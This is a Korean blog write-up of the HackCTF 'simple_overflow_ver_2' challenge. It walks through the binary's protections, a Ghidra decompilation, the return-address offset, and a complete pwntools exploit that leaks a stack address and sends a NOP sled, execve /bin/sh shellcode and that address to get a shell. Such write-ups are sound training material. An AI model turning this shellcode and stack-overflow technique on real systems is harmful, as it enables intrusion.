HackCTF simple_overflow_ver_2 Write-Up

juuun0·2022년 1월 20일
1
post-thumbnail

동적 분석

문제 파일을 다운로드 받은 뒤 어떤 보호기법이 적용되어 있는지 먼저 확인하였습니다.

[*] '/home/persian/Downloads/Simple_overflow_ver_2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

본래 목적은 보호기법 적용 여부를 확인하려고 하였으나 생각과 다르게 32bit ELF 파일인 것을 알 수 있었습니다.

프로그램을 실행하면 "Data : " 라고 출력하며 입력 대기 상태로 들어가는 것을 알 수 있었습니다. 임의의 문자열을 입력할 경우 아래와 같은 형식으로 다시 출력하였습니다.

./Simple_overflow_ver_2 
Data : Test
0xffe0f6f0:  T e s t
Again (y/n): 

출력 후 Again 이라고 무언가 다시 할 것이냐고 되묻는 내용이 출력되었습니다. y를 입력할 경우, 처음 실행할 때와 같이 입력 대기 상태로 가는 것을 확인할 수 있었습니다.

Again (y/n): y
Data : 

동작에 대해 정리하자면 Data를 입력받고 Again에서 y를 선택할 경우 다시 새로운 Data를 입력받고 n을 선택할 경우 프로그램을 종료하였습니다.

정적 분석

동적 분석에서는 ret 변조를 위한 offset, 추가적으로 공격에 필요한 정보를 얻기 위해 진행하였습니다. Ghidra를 사용하여 Decompile을 통해 do ~ while() statement로 작성된 것을 알 수 있었습니다.

undefined4 main(void)

{
  int iVar1;
  size_t sVar2;
  uint uVar3;
  char local_8d;
  byte local_8c [128];
  uint local_c;
  
  setvbuf(stdout,(char *)0x0,2,0);
  local_8d = 'y';
  do {
    printf("Data : ");
    iVar1 = __isoc99_scanf(" %[^\n]s",local_8c);
    if (iVar1 != 0) {
      local_c = 0;
      while( true ) {
        uVar3 = local_c;
        sVar2 = strlen((char *)local_8c);
        if (sVar2 <= uVar3) break;
        if ((local_c & 0xf) == 0) {
          printf("%p: ",local_8c + local_c);
        }
        printf(" %c",(uint)local_8c[local_c]);
        uVar3 = (uint)((int)local_c >> 0x1f) >> 0x1c;
        if ((local_c + uVar3 & 0xf) - uVar3 == 0xf) {
          putchar(10);
        }
        local_c = local_c + 1;
      }
    }
    printf("\nAgain (y/n): ");
    iVar1 = __isoc99_scanf(&DAT_08048715,&local_8d);
  } while ((iVar1 != 0) && ((local_8d == 'y' || (local_8d == 'Y'))));
  return 0;
}

입력받는 배열의 크기도 128로 선언되는 것을 확인할 수 있었으나 gdb를 통해 확인하였을 때 약간의 오차가 있는 것을 확인할 수 있었습니다. 위 내용에 기반하여 offset을 계산하였을 경우에는 '128 + 4(sfp) = 132' Byte로 확인되었습니다.

그러나 gdb로 확인하였을 때에는 lea eax,[ebp-0x88]와 같이 'ebp-0x88' 위치에 저장하는 것을 알 수 있었고 실질적으로 '132 + 4(sfp) = 136' Byte의 offset을 통해 ret 변조가 가능한 것을 확인하였습니다.

기본적으로 주어진 buf의 크기가 넉넉하였으므로 32bit 환경에서 사용 가능한 25 Byte shellcode를 이용하여 Exploit을 작성하였습니다.

Exploit

shellcode의 경우 [참조] 게시글에서 가장 기본 코드를 사용하였습니다.

#!/usr/bin/python3

import pwn 

p = pwn.remote("ctf.j0n9hyun.xyz", 3006)

leak = "GYAUNNGABJAINSGU"
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"

p.sendlineafter("Data : ", leak)
buf = int(p.recvuntil(":").decode('utf-8').strip(":"), 16) 
pwn.log.info("buf address leaked: " + hex(buf))

p.sendlineafter("(y/n): ", "y")

payload = b"\x90"*54
payload += shellcode
payload += b"\x90"*61
payload += pwn.p32(buf)

p.sendlineafter("Data : ", payload)
p.sendlineafter("(y/n): ", "n")

p.interactive()

처음 exploit을 시도할 때 shell이 획득되지 않았는데 shellcode를 변경 후 획득에 성공한 것을 보아 아마 사용된 shellcode의 문제가 아니었을까 생각합니다.

profile
To be

0개의 댓글